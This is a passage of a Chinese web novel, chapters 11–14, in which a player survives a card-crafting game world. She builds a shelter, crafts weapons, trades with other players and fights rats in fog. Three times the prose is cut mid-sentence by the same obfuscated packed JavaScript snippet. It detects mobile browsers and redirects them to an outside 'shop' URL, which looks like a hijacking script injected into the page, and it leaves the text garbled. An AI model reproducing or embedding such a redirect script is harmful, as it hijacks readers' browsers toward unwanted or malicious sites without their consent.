也许全游戏的玩家都看到了这光屏,也与自己一样如此紧张。 【各位玩家晚上好,新手期即将结束,特此通知。】 【今日结束前仍未建造1级庇护所的玩家,将会被空间就地抹杀,请注意。】 果然。金琅心想。按钮不是白白放在那的,建造庇护所就是新手期中的主线任务! 幸好自己按时完成了。 游戏系统也是鸡贼,偏偏这时才提醒,那些没把庇护所放在心上的玩家,就算现在开始建造,也根本来不及。 明天的幸存玩家人数,大概会骤降许多吧? 金琅长叹一声,抬手捏捏沉重的颈脖,眉间又返上少许疲惫。 公告还在播报: 【下一场即将到来的灾难为:浓雾】 【请各位玩家做好准备,继续生存。】 【副本开放请及时关注界面,结束即止。】 【公告至此结束,祝各位好运。】 短短四句话,却在所有玩家心里掀起一阵狂风暴雨,所有聊天区都仿佛山崩地裂般彻底炸开。 金琅没有去看频道里的混乱惊惶,起身去给营火加助燃物。 火焰重新升燃,橘黄色的光芒照亮了整座茅草屋与她的身型,也有半个继续被黑暗所覆盖。 幽绿色的光屏在时间进度条结束后消失,转而换成了一如既往要求上交饮食卡的界面。 金琅早已计算好,于是便放上3张[烤蘑菇],和1张[污水]。 明天空间里会降下灾难,她必须以最好的状态迎接。 之后她躺在尚未升级好的茅草屋里,望着半明半暗的顶部,既有几分惘然,却也有少许期待。 接下来……就看自己如何一步步继续生存下去了! 11. 第11章 金琅再次睁开眼时,营火已经熄灭了,茅草屋里仅有晦暗的光线。 脑袋原本昏沉沉的,一道冷气却像慢慢蠕动着爬到手臂上,刺得她一激灵,完全清醒过来了。 金琅缓缓拧起眉心,不知是不是错觉,在新手期结束后的第一天,她感觉温度下降了些。 可惜游戏并没有气温显示,她又摸摸被蜘蛛攻击撕开的衣袖,露出的半截胳膊上布满密密麻麻的鸡皮疙瘩。 金琅忽然想起,游戏里也是有防具存在的。 以目前的条件,能做的防具应该有草甲与木甲两种,但防具只提供防御。 游戏中也能制作服饰,可条件就多了。 金琅搓搓小臂,又去查看自己的数值。 生命值80,体力值80,精神值85。 真是够平均的。 站起身后,视线变得更为清晰的金琅发现茅草屋变大些许,连忙打开了【庇护所】。 2级庇护所已经升级完成了! 上面有着整座庇护所的图片,茅草屋已经成为【茅草窝棚】。 不但面积增加,还有屋檐这种像正经房屋的部位,恢复体力值的速度也少量提升。 金琅嘴边扬起笑意,双眸在朦胧的清晨也多出少许光彩,心中的愉悦更是在轻盈雀跃。 来不及再高兴了,今天要做的事有很多。 新手期结束后才会抹杀没建造庇护所的人,那么2级庇护所,应该能坚持一段时间吧? 冷不丁想起昨晚的公告,金琅渐渐失去笑意,反而漫上紧张,更觉得身边凉意侵袭。 就怕外面已经被浓雾笼罩,什么都看不清,怎么去找那些陷阱的位置? …… 金琅提早转化出玻璃长矛拿在手中,深吸一口气后,她掀开窝棚草帘。 在看清屋外的景色后,心脏顿时安安全全落回肚里,她长舒一口气。 雾气漂浮在空间各处,像洒着一层浅淡的烟灰水,喷着半薄的水蒸气,但至少还能让人看清四周的事物。 幸好游戏没有那么冷酷无情,不是初始就降下浓雾,目前大抵是轻雾阶段。 金琅在原游戏中也遇到过随机降临的浓雾天气,如果她没记错,这种天灾对整个游戏都会有负面影响。 金琅抬眼一瞧,果然在时间进度条下发现一个图标。 【近战/远程攻击命中率降低10%】 金琅挑挑眉。她记得原游戏中不止有一种负面状态,看来是根据雾气浓度再添加的。 从昨晚开始制作的滤水袋,也完成了。 一个盛满青苔的袋子,上面带着绳,看样子是能挂起来。 金琅打开信息查看: [卡牌类型:道具丨稀有度:普通] [净化时间:8小时丨净化概率:30%丨耐久:10次] 这效率有够低下,但既然得到了净水器,金琅还是决定试试。 正好还有一张[污水]卡牌,金琅先把滤水袋挂在茅草窝棚檐下,再加入卡牌,果然出现了进度条。 又想起自己放下的那几个陷阱,金琅马不停蹄离开庇护所,往记忆中的地界而去。 手里还握着长矛,路上她也将聊天频道开启了。 如她所想,经过游戏一夜的抹杀,玩家人数竟骤降10万多,如今数字开头只有85了。 这是金琅没料到的,她不清楚是真有那么多人没先建庇护所,还是临时抱佛脚,却没赶上。 频道内的消息依然极快翻滚着,不是在恐慌大量幸存者逝去,就是在痛骂游戏,还有在讨论这场雾的,似乎都想发泄着消耗完发言机会。 “真是服气,这游戏连新手教程都没,上来也没说一定要建造庇护所,还好老子一看就知道是主线任务,不然也死在这儿了!” “你敢信,我昨天白天才开始建造的,赶在晚上建好了,躲过一劫!” “昨晚嘴硬说不信游戏会抹杀的那些哥们儿,好像真不在了啊?” “还有只差一个杂草的,估计也没人愿意帮忙……唉,太可怜了!” 也有认为现在雾气不浓,还能继续外出寻找资源的玩家,在频道正能量加油打气。 金琅关闭频道,隔绝了所有开始变味的情绪。 薄雾扑打在面上,貌似还有丝浅淡的异味。金琅为以防万一,尽量憋着气走,还要防止雾中会有怪物突袭。 顺着记忆里的路线,金琅放置陷阱的地方也并不远,很快便来到了浆果丛与兔洞。 当时放下了三个陷阱,金琅满怀期待,连脚步都下意识放轻许多。 可惜兔洞旁的荆棘陷阱空空如也,但浆果丛却真的出货了,又捕到了一只鸟。 毕竟荆棘陷阱有捕捉概率。 但金琅还有一个捕捉概率高达100%的毒饵陷阱! 再次来到兔洞口,陷阱里果然有一只已经死去的兔子! 金琅唇边绽开笑意,仿佛拨云见日,心情被晒得热烘烘的,明亮而热烈。 这一天是没白等。 毒饵陷阱的耐久只有1次,兔子尸体转化成卡牌被收起后,陷阱也就损坏消失了。 想起今日要制作的物品更多,金琅收起另外两个荆棘陷阱打算回去,就在离庇护所更近的地方转悠,采集资源。 …… 新的一天到来,空间又刷新了环境。 淡灰色的薄雾宛如轻巧的纱幔,覆盖在不远处的各种资源上。 金琅走了圈,便能找到树木、岩石、杂草丛、污水,甚至还找到一个兔洞。 在兔洞旁边放下荆棘陷阱,金琅多走几步,取出昨天买下的那张[快被鸟兽吃完的浆果丛],放置后同样摆上陷阱,期盼能够再有收获。 石斧、石锄和石铲,耐久都有50次。这次采集完,前两件工具恐怕就要换新了。 金琅思索少顷,还是将昨天购买的垃圾卡放出来。 垃圾卡虽然获得的物资杂,可能还会扣除数值,但采集次数能比普通资源少点。 覆着青苔的石头x2,获得石头x4,青苔x6。 带刺的杂草x2,获得杂草x4,荆棘x4。 生命值扣除5。 今天刚开始,卡牌多也没事,金琅暂时收起,这才取出工具去采集资源。 木材制作木棍,杂草也先收集起来,这次不但能做绳子,还能试试制作护甲。 金琅也将昨天得到的[树虫]取出,在地面上转化成一条白花花的肥硕树虫。 玻璃长矛还是一击必杀,但耐久值也真的只剩余1了。 地面上徒留些粘稠液体,获得[虫肉]x2。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586924|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体力经过采集后已经消耗大半。金琅整理完卡牌,脚步轻快地回到庇护所旁,重新燃起营火。 如今她身上总共有虫肉x8,金琅预备都料理了,好填补食物这一块。 随着进度条增加,原先胖鼓鼓的白色虫肉滋滋啦啦作响,榨出多余的液体,表面也变为焦色蜷缩成一团。 金琅抽抽鼻子,闻到那弥漫的浓郁异香,到底是松开了体内半根紧绷的弦。 新鲜出炉的烤虫肉,金琅迫不及待先吃下一份,补充一截体力值。 得到的鸟尸和兔尸也放了出来。金琅搓搓手,再用斧子处理,获得肉x4,以及…… 皮毛x1! 这还是她第一次在游戏里见到皮毛! 一片完整的兔子皮毛抓在手中,毛茸茸又顺滑,看着就暖和。 金琅把原游戏玩到结档,也见过大部分卡牌,知道这皮毛可以用来制作服饰。 只是可惜,她记得就算是最基础简单的衣物,都必须先要有蓝图卡才能制作,但以她的运气,如今卡包抽卡少出点垃圾卡都得感恩戴德了。 可这并没让金琅感觉扫兴,她走进庇护所坐下,眼中依然漾着期待的柔和微光。 金琅取出空心木x4,又开始合成木板和绳子,直到数量足够,将这些卡牌堆叠,新的进度条再次展开。 对于这升级的空心木容器,金琅的心情简直能用渴盼来形容,几乎一眨不眨地盯着。 而有木棍后,她又取出在交易厅中得到的[金属碎片]。 这2张卡牌,果然也能合成! 武器制作的速度倒比空心木容器更快,只等那光芒闪过,金琅便抓起卡牌查看: [金属长矛] [卡牌类型:武器丨稀有度:普通] [伤害:B-丨耐久:25次] 【尖利,稍稍坚固,勉强能用。攻击时10%概率附加[流血]状态】 与玻璃长矛相比,真是有好有坏。 但至少有新武器能用了。 …… 金琅弯着眉眼收起,现在她对游戏越来越熟练,昨晚才买下的垃圾卡,就已经被她快处理完了。 只剩下弯曲木x2。 弯曲木本就是张垃圾卡,牌面的描述也仅是一句:【一段弯曲的畸形木头】,压根没其他的提示。 玩家又急着收集有用的木材,见到垃圾卡绝对会丢弃,更不会停下脚步好好研究研究能做什么。 幸好金琅有卡册,让她能知晓垃圾卡也有含金量,尤其是弯曲木,竟然可以做成前期稀有的远程武器! 不过弯曲木这张卡牌只有这一个合成配方,好像它就是为了远程武器而生的。 正好她还有蜘蛛丝,或许……她可以继续制作? 弯曲木x2,蜘蛛丝x2,开始合成! 弯弓的耐久值不高,使用次数始终比近战武器少。 就算她留下一把弯弓备用,那么另一把……应该能为自己产出些额外的价值? 毕竟肯定也有其他玩家需要远程武器! 金琅嘴角勾起弧度,心跳不自觉加快。她凝视着界面上一个功能,不经意生出几分向往。 只等弯弓制作完毕,她点开了【交易厅】。 之前是买家,是时候可以瞧瞧卖家这个身份了! 12. 第12章 无论是聊天频道,还是交易厅聊天区,都在讨论这场雾。 大多数人怀揣着与金琅一样的想法:雾是逐渐变浓的,那更要外出收集生存物资,好苟过这次灾难。 只有小部分玩家依旧散发着低落的负面情绪,如同梗在喉间的一根刺穿插在频道中。 甚至有人是因为迎着雾气外出,反而遭到怪物袭击,才只敢待在庇护所内。害怕出门,也在频道里求救。 金琅没有细看,而是找到开启个人商铺的选项。 想要开启,需要先上交1硬币作为费用。 自从开始用垃圾卡变废为宝后,一项项能做的事情反倒也堆叠起来,金琅之后竟再没买过卡包。 而她现在还有足足6硬币。 金琅思量一阵,仍是选择递交。 于是在【交易厅】这个功能中,又多出一个【个人商铺】选项。 这又是个新界面。 界面顶端写着【金琅的商铺】,中间是5个卡槽,下方则是确认按钮,届时商铺会自动上架到交易厅,同时也会在聊天区中发出自荐。 起初的商铺可能仅有5个卡槽,金琅尝试后,发现每个卡槽里只能放置一种卡牌,但数量却能无限叠加。 再自定义好价格,就能开启商铺了。 金琅把那两张[弯弓]卡牌放在左右两边的卡槽中,可她目光微闪,在价格上权衡了片刻,才都设置成5硬币。 其实金琅清楚这有些贵了,但万一真的有大佬看中并且下手呢?而且她在交易厅里搜寻过,还没人售卖弯弓,别提是其他远程武器了。 何况上架后能减少卡牌容量,自己以后也还能再降价。 卖出去了,那是血赚;卖不出去,那也亏不着。 金琅确认上架,再去交易大厅,果然见到了自己的名字。 聊天区也出现通知,但马上就被其他消息淹没刷上去,仿佛从未存在过。 金琅顺势松了口气,颇有些悠然自在,心底也浮现出一抹成就感来。 …… 金琅关闭交易厅,又打开【副本】界面看了看。 然而【副本】界面依旧是锁着的,什么都做不了。 回想起游戏系统公告,只能以后每日都来瞧瞧,防止错过。 时间进度条不停前进着,一直待在庇护所里的金琅,体力值也在龟速恢复。 但总也赶不上花费的速度。 她更不知道交易厅内突然因为自己的商铺,渐渐掀起了一派轩然大波。 有的玩家不想出门,就留在庇护所刷聊天频道,或者在交易厅内淘货,希望能找到买得起的物资。 结果就在最新上架的商铺中,他们发现有人售卖的竟是远程武器。 不过普通人都没在意,5硬币的卡牌更是会直接无视。唯独在排行榜靠前的玩家,才有人明白现在就做出远程武器的含金量。 竟然有人做出了远程武器?怎么做的?哪位大佬?求带! 没人清楚,就算照着名字去扒排行榜,那都要好一会儿。 只是……几乎能购买精良卡包的价格,的确会让人纠结到犹豫不决,抓耳挠腮。 这其中也有刚与金琅接触过的秦秋怡与姜锦橙两人。 【好友】这个界面,金琅不怎么打开,只偶尔打开扫几眼,再将那些陌生人私信清空。 此后熟悉游戏的人愈发多,又有幸运值更高的玩家,那些玩家便替代她成为排行榜上的出头鸟,同时也是普通人们想要抱的大腿,给金琅发消息的倒是变少了。 金琅丝毫不在意,之前也暂时没有添加好友的想法,而这时她正在窝棚外,嘴角下拉,眼神暗淡,俨然有副既无奈又发愁的神情。 终于等到滤水袋第一次净化完污水,结果金琅仍然收到1张[污水]卡牌,表明并没净化成功。 30%的概率,还是太低了。 当然,这也有可能就是幸运E的日常! 叹息落回心底,金琅强打起精神。反正滤水袋还有耐久,她便再次将这张[污水]卡牌放入,继续净化。 她也想起【好友】界面,是时候又可以清理一波了。 回到庇护所坐下,金琅打开界面,果然又是一连串的陌生人私信。 架不住有些玩家喜欢群发消息,加在一起数量就多了。 但金琅担心真有什么有用的消息,所以每次还是先检查下才删除。 期间也有新消息一条条塞进来,金琅往前划动,倏忽一怔,还真见到个比较熟悉的名字。 「秦秋怡:你好,请问还能再交易吗?」 这是……上次她买下垃圾卡大礼包的那位店主? 金琅眼底抹过一丝探究,抿直的唇线透着好奇。 她当然还需要垃圾卡,而做过交易的玩家,自然天生多出几分信任,可以试试再收。 金琅考量片刻,将其他陌生私信清理,独留秦秋怡的这条。 「金琅:还是交易垃圾卡吗?你商铺上架了?」 秦秋怡不管怎么节省体力,终究是半天就用完了,只能先回到庇护所,争取恢复些。 而在交易厅见到那个名字后,她沉默着踌躇片刻,最终还是小心翼翼发送去私信。 原本甚至没想过金琅能回复自己,却没隔多久就收到了回音。 秦秋怡激动得直起身,昏暗的眸中总算重生出些许光彩,打过几遍腹稿才回复: 「是这样的,今天我在外面探索,结果找到了一张卡牌。我是没条件用,但我想应该对你有用……」 …… 金琅原本半躺着倚在窝棚墙壁,怎么舒服怎么来,谁知看到这句话却猛地坐起身,更是定格了一瞬。 探索找到卡牌了?! 原游戏里的确是这样的设定,不仅是卡牌,运气好甚至还能找到卡包。 但发现自己是幸运E后,金琅直接把这念想扼杀在摇篮里。新手期的外出当然也就没见过野生卡牌。 没想到秦秋怡遇到了,而且还想和自己交易? 金琅晃晃神收回思绪,开始回复: 「什么卡牌,能先看看吗?」 秦秋怡倒也爽快,立刻发来卡牌信息。 然而金琅只是看到前缀,就震惊地凑近界面细看,似乎是在反复确认。 最后那惊讶又慢慢形成强烈的喜色,从眼底流泻。 [蓝图:荆棘护甲]! 这竟是一张蓝图卡! 游戏中的蓝图卡,种类随机,获得方式更是随机,金琅往昔有在卡包开出来过,也有真是在野外找到的。 但她没有这么早见到过! 金琅少许压抑住猛烈的心跳,问: 「你想换什么?」 她当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586925|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要这张蓝图卡,但也要看对方的价格合不合适。 要是狮子大开口,金琅也不可能为一张蓝图卡倾家荡产。 秦秋怡貌似早就想好了:「我想要食物卡,5张可以吗?」 秦秋怡清楚蓝图卡的珍贵,但目前最重要的还是先活下去,而如果要的太多,这笔交易恐怕就没法成功了。 她紧张地吞了口唾沫,等待着回音。 这对于金琅来说,确实不算多。 先不说她收集的肉类,方才在庇护所附近采集到浆果,今晚上她还能收获一批蘑菇。 金琅注视着卡牌信息,半绷着脸,心里衡量过,才慢慢回答: 「我这里的食物有[烤虫肉][浆果][野菜],我出烤虫肉x2和浆果x2,野菜x1,怎么样?」 金琅之后没再采集到野菜,估摸着又是幸运E作祟,可作为食物,便始终收在容量里。 这回正好能为自己做点贡献。 秦秋怡查看后,瞳孔霎时亮起。 她在空间里能找到的食物就是浆果野菜,野兽虽然能获取肉类,却击杀不了。 她还没见过虫子,也就没得过虫肉。却没想到烤虫肉恢复的体力值,能有植物的双倍! 两份烤虫肉能恢复半条体力值,就连今晚的上交也够了! 秦秋怡当即答应下来,满心满眼都期待食物卡到手。 不过她们还是陌生人关系,不能直接交易,要么加好友,要么只能去交易厅。 「金琅:要不我们加个好友?」 「秦秋怡::真的吗?那太好了!谢谢!」 秦秋怡见她主动问出自己早就想问,却没敢问的话语,更是激动到无以复加。 她特意去排行榜看过,金琅的排名算是前排。但别人想抱前排的大腿都不一定能抱到,而自己贡献出蓝图卡,果然是正确的选择。 通过好友申请,秦秋怡的名字出现在好友列表,选中后就能展开私人交易了。 照旧出现界面,上面有着空卡槽。金琅见秦秋怡飞快放上那张蓝图卡,便也放上说好的食物卡。 交易成功。 蓝图卡与普通卡牌产生了明显不同,整张卡牌都由蓝色做底,还散发着耀眼光芒,格外珍贵的样子。 金琅没来得及再看,秦秋怡又发来消息: “话说你还收垃圾卡吗?我幸运等级太低了,在外面探索,很多都是垃圾卡……” 字里行间充斥着无奈与隐约的期盼,金琅见后,不由得强笑下。 再低还能有她低吗?若不是算有金手指,她的下场恐怕比她还惨。 而且能在探索时找到蓝图卡,怕不是触底反弹,幸运爆表了一回! 亦或是……新手期结束后的空间,出现奇遇的几率也增加了? 金琅当然还想收垃圾卡,便和秦秋怡约好晚上再谈。 而秦秋怡有了食物,这两天的生存至少不用担心,也就不再打扰,没了消息。 金琅站起身,她取出金属长矛轻巧地挥动几下,神情更为坚定。 果然还是需要外出探索,否则根本不知道有没有翻盘的机会! 然而这时,尚未关闭的界面突然又跳出几条陌生人私信。 金琅随手一划,竟再度发现熟悉的名字: 「姜锦橙:姐妹,你真厉害,已经有远程武器了?」 13. 第13章 金琅打开【排行榜】。 她猜测姜锦橙肯定位于前排,走马观花寻找一阵,还真被她找到前者的排名。 【姜锦橙】【积分355】【排名1387】 这个排名已经非常靠前了,毕竟前面还有许多相同积分的玩家。 来都来了,金琅也检查下自己的排名。 【金琅】【积分506】【排名288】 足足一千名的差距,但金琅并没自满,她心里明白是因为自己有金手指,就是仍不清楚积分到底是怎么算的。 升级成2级庇护所,似乎也没新的奖励。 金琅没想过要冲排名,只要一直保持住,苟到游戏结束就行。 弯弓这武器合成后,卡牌上不会有任何关于制作的提示信息。 金琅又打开交易厅,在聊天区内查询,才见到之前那场风波。 可商铺里那两把弯弓,却都好好待在卡槽内,没人买下。 金琅眉梢微沉,心里琢磨。 不过这才哪到哪,也不乏有人会来询问,尤其是刚做过交易,觉得名字熟悉的姜锦橙。 金琅酝酿着回复: 「你好,你想买吗?初始箭矢挺容易合成出来的,但远程武器现在却几乎没有,这两个缺一不可呢。」 姜锦橙像守在聊天窗口旁,很快回答: 「不是几乎没有,你是第一家卖远程武器的,我们连影儿都没见过呢!远程的确好,但是吧……5张硬币卡,还是贵了些。」 金琅看得出来姜锦橙陷入了犹豫与纠结之中,她不是没条件买,是两方一时都舍不得。 金琅想了想,主动提到: 「要不其中一部分价格,以物换物?」 刚从秦秋怡得到一张蓝图卡,若姜锦橙这里也有好东西,那她不介意顺水推舟。 …… 姜锦橙紧盯界面窗口,手指点着自己的下颏,眼神中闪过不确定的思绪。 远程武器是消耗大,却能用来打猎。她外出探索时,偶尔能见到兔子之类的活物,可提着近战武器上前,早就不知跳去哪儿了。 也能在频道内得知有人做出了陷阱,可自从被游戏抹杀一批玩家后,玩家开始藏着掖着,再没那么多愿意分享攻略的人了。 连人心都开始渐渐转变了。 姜锦橙被传送进游戏前是一名花店店主,店里的生意还不错。 然而那天晚上,她才收拾好准备关门回家,顿时两眼一黑,醒来后就在这个奇特的空间。 不想死的念头每人都拥有,姜锦橙回过神来,也赶忙在空间探索,采集资源。 有时也会打开聊天频道,看看别人怎么做,还分出发言机会寻找亲人。 之后她慢慢发现,探索似乎没像其他玩家说得那么困难。 姜锦橙虽没玩过游戏,但把每个界面都打开瞧瞧,也认定庇护所肯定要先建造。 她附近有很多资源,尝试采集后,再将卡牌换着合成,也就得到了工具卡。 在空间里,她甚至还找到了小溪,就把庇护所建在这附近。 周围的植物茂盛,尤其是树木、杂草、野菜、浆果和花瓣等资源,这能让她不太发愁食物。 有工具卡事半功倍,姜锦橙甚至早早就开始准备升级。而她用铲子挖地获得的土壤,也被研究出能种田,至此开始冲上排行榜前排。 姜锦橙原本还奇怪呢,后来她才发现,原来自己的幸运等级,竟然是A-级。 虽说是A-,与B级相比,却是一个质的飞升。 也怪不得她的生存,完全没有频道里那些玩家一样凄凄惨惨戚戚,连怪物都没遇过几次,属实是真正的新手期。 可纵然资源多,体力值和卡牌容量却固定。即便有时她不用采集就能捡到野生卡牌,次数却少,所以姜锦橙偶尔会去交易厅,也就认识了金琅。 姜锦橙去排行榜查看,才发现她在更前排的位置。 这幸运等级,不得冲到S级了啊? 所以她主动寒暄,既心仪弯弓,也有想要结识的意味。 没想到金琅能主动提议,姜锦橙便觉得这笔生意有戏。 不过她资源再多,多的也是那些基础物资,她不确定金琅需不需要。 姜锦橙放下手,她也清楚,普通物资用来抵的硬币少,除非是稍微稀有些的,或者成品。 而她此时也回忆起第一次与金琅交易时,后者提出的交换要求。 姜锦橙回答: 「你现在还要花环吗?我用1个花环抵2张硬币卡,3张硬币卡加1个花环,买你一把弯弓,行吗?」 金琅:「花环只要花瓣的数量够就能做,抵不了。不过你如果想抵的话,3张硬币加2个花环。」 姜锦橙见到这行字后噎了下。 啊哈哈,原来她知道这些啊。 尬笑了声,姜锦橙挠挠头,依旧迟疑。 职业习惯让她起初就格外关注那些散落的花瓣,之后无意中发现能制作花环,还能恢复精神值。 所以这并不是什么稀有物品,可以说每人都能做。 姜锦橙能找到很多花瓣,所以空闲时,她就多做几个花环备用,手头并不是没有。 只是……这笔交易真的值吗? 姜锦橙其实也不太缺硬币卡,以她的幸运,商店回收就能返,只要有足够多的卡牌。 但3张硬币卡也能买个卡包了,万一她运气爆棚抽到了呢? 金琅见对面迟迟没有回话,倒也有点担心交易做不成,又发: 「我的私信也有其他人问我了,你想的怎么样啦?」 姜锦橙心里提了提,最终是咬咬牙,回复: 「行,开交易吧!」 对于这位前排玩家,金琅也同样发送好友申请。姜锦橙本就有这意向,自然同意。 她看上去比秦秋怡放松得多,交易完成还发来消息: “姐妹,下次有啥好东西算我一个,我可以用食物卡来交换!” 金琅答应下来,姜锦橙便没再回话,应该是去研究箭矢的制作了。 收到3张硬币卡与花环x2,金琅当前手上总共有8张硬币卡了。 花环上面围着圈五颜六色的花瓣,也不是瞬时恢复,而是随着时间流逝恢复,最后能恢复10点精神值。 金琅立刻戴上一个,鼻间还能嗅到浅淡的清香。 …… 她来到茅草窝棚角落,那里静静放着个像是小木头箱子的东西。 金琅粲然一笑,眸中掠过精光,眉尖也不禁如同飞扬的柳梢那样轻盈。 空心木容器也制作完成了! 连忙转化成卡牌,拾起检查: [密封木] [卡牌类型:道具丨稀有度:普通] [最佳用途:用于储存卡牌(卡牌容量+20)] 使用就像空心木那样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586926|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡牌消失,成为一个小型图标。 而卡牌容量,则增加至40! 金琅心花怒放,在无人之地,她能尽情释放出自己激动的心情。不过也没太久,她知道还有很多事要去做。 或许今后也会有人发现空心木的用处,所以必须要在前期多收集些。 该外出探索了。 金琅整理一波卡牌,体力值也恢复点,便抓紧时间踏出窝棚,朝远处走去。 这次她专门寻找青苔石头与污水,还好幸运E人设不倒,她很快获得足够的青苔,又能制作滤水袋了。 净水道具越多,能得到净水的概率也就越大。 她就不信自己一份清水都得不到! 砍树凿石后,石斧与石锄耐久用完,自动破碎,连碎片也不会留下。 下一级庇护所肯定要用到黏土,所以金琅偶尔还会用铲子挖地,但大多收获仍是土壤。 等回去后,她可以去问问姜锦橙还收不收。 金琅不是没想过种田,别提是玩过游戏的了。可土壤和植物不难获取,难的是另一种物资:清水。 作物不浇灌没法成长,而浇灌只能用净化过的清水。 每种作物的生长时间也不同,但最少也需要一份清水。 可现在多数人连污水都不一定够用,更别说是拿去浇地。 饶是金琅已经拥有净水道具,也没法天天喝上净水,所以种田暂时不在自己的计划内。 至于姜锦橙……金琅猜想,她大抵是找到了水源地点,才能这么奢侈。 摇摇头晃出多余想法,金琅专心致志继续铲地。 最终获得土壤x8,黏土x2。 概率着实感人。 金琅对着空地长长叹了声,收起铲子与所有卡牌。 即使容量增加了,也不代表能随意填充,满得有些太快了。 轻飘飘的淡灰色雾气萦绕在各种资源旁,仿佛缠绕着几条丝绸缎带。 越到远处,雾气貌似也更浓了些。 金琅就用刚获得的木材,开始合成木棍,想再做出新工具。 “吱吱吱……” 金琅手上立即停下,心脏重重一跳,几乎瞬间跃到了嗓子眼。 她从未在空间里听过这种声响! 连忙收起卡牌,金琅拿出全新的金属长矛摆起防御架势,手指却有意无意摩擦着长柄,尽显焦躁。 玻璃长矛只剩1点耐久了,如果迎接的是个大家伙,再换武器会来不及。 雾气宛如刚揭开的锅盖里的水汽,逐渐形成了乳感的灰白色。 金琅屏气听着,那声音却从未退去,在四周断断续续响起。 唔……她好像也没必要应战,会不会溜了更好? 金琅干笑几声,马上转身离开,像下定了某种决心,甚至带起身边雾气跟着涌动起来。 “……吱!” 然而也许正是她的动作,地上倏忽窜出黑黢黢的影子,活像一颗精准急速的子弹,直朝金琅袭来。 金琅猛然停下脚步,她脚上穿的一双双室内休闲鞋也跟着来到游戏。虽比不上运动鞋那些,却也能跑能跳。 唯一的缺点,就是薄。 薄到她发觉那东西擦过脚边,可能还停留了下,慢慢传来一阵针刺般的尖痛。 生命值扣除1。 金琅:? 她不可置信地睁大双眼。 发生了什么?! 14. 第14章 来不及细想,金琅已经倒转矛头刺了下去。 “噗嗤!” 她起初命中率是B,雾气虽会降低,但好在没怎么受影响,一击就刺中脚边那个生物。 地上似乎溅出小片血液,被尖利矛头刺中的身体也在细微颤抖,而这感受绝不是虫类。 “吱吱……” 虚弱的声音逐渐消散,金琅松开长矛挥散眼前的薄雾,这才清晰见到,原来那是一只老鼠! 巴掌大的老鼠,也能被金属长矛一击必杀,但没有掉落卡牌,尸体很快就消失在眼前。 金琅松了口气。 又见到其他生物了,还好她对老鼠不陌生,可以说普通卡包内也有几率能抽到。 老鼠与树虫一样有几率能获得肉类。但得到的不是正常肉,而是鼠肉,不但需要料理过才能吃,吃了可能还会扣精神值。 可在游戏前期,却是食物来源之一。 “吱吱吱……” 鼠叫再次响起,这回竟比之前还要响亮,甚至听起来像凑成了一群! 衣物粘着后背惊出的薄汗,金琅留在雾中,却仿佛浸在寒丝丝的河里。 不是没想跑,然而她只要一转身,窸窸窣窣的声音便如同流水,齐齐整整向她身边奔腾而来。 金琅心里一沉。 这怕是遇到鼠群了! 纵然被老鼠咬上一口只扣1点生命值,但也架不住数量多! 金琅最后还是选择一贯的打法:放风筝! 鼠叫尖锐得令人头皮发麻,金琅在雾里飞奔,回头再用长矛戳刺,所幸老鼠的血量低,只要命中,基本都能一击杀死。 地面上渐渐积攒出没收起的卡牌,而那阴森的鼠叫也终于停下,雾中恢复了寻常的平静。 金琅揩去额上薄汗,原本剧烈起伏的胸口也慢慢平稳。长矛依然没收起,她上前去收起卡牌。 金琅回忆着,她大概杀死了15只老鼠,获得了10张[鼠肉]卡牌,这爆率勉强还行。 但金属长矛的耐久只剩下10。期间又被老鼠偷摸着咬了几口,生命值也仅剩70。 …… 空间中本就没太阳,如今虽说降下了雾,光线却照旧明灭。 时间差不多来到傍晚,回想起先前遇见蜘蛛就是在这种时候,金琅打了个寒颤,抬脚便往庇护所方向走。 轻风裹挟薄雾直往面上扑,但金琅也不是一味埋头回去,时不时也四下观望。 本意是防着会突袭的怪物,身为幸运E,她已经不抱有能发现野生卡牌的期待了。 然而这游戏貌似就是和她对着干,想什么来什么。 “哗哗……” 风声拂过,传来一阵微弱声响。 金琅原以为是树梢上的叶片,可那声音屡闻不止,到底是让她暂时停下脚步。 这不像是吹动树叶,反而更像……纸张? 金琅眉宇重重一跳,她侧耳听了会儿,握着长矛转向。 在苍灰色的薄雾中,金琅一眼就见到前方有个细小的亮点,仿佛夜间指引迷途的明灯,让她不由自主地继续往前。 而这个选择果然是正确的。 在金琅看清那是什么后,浑身血液顿时变得热滚滚的,脸上难掩兴奋的神气,急忙上前查看。 那竟是一张野生卡牌! 原游戏中玩家在探索时,偶尔会在屏幕上见到额外散落的卡牌,种类与稀有度不限,是纯看运气的福利。 而这个设定就算来到游戏空间也还保持着,金琅已经在频道内见过不少炫耀找到野生卡牌的人了。 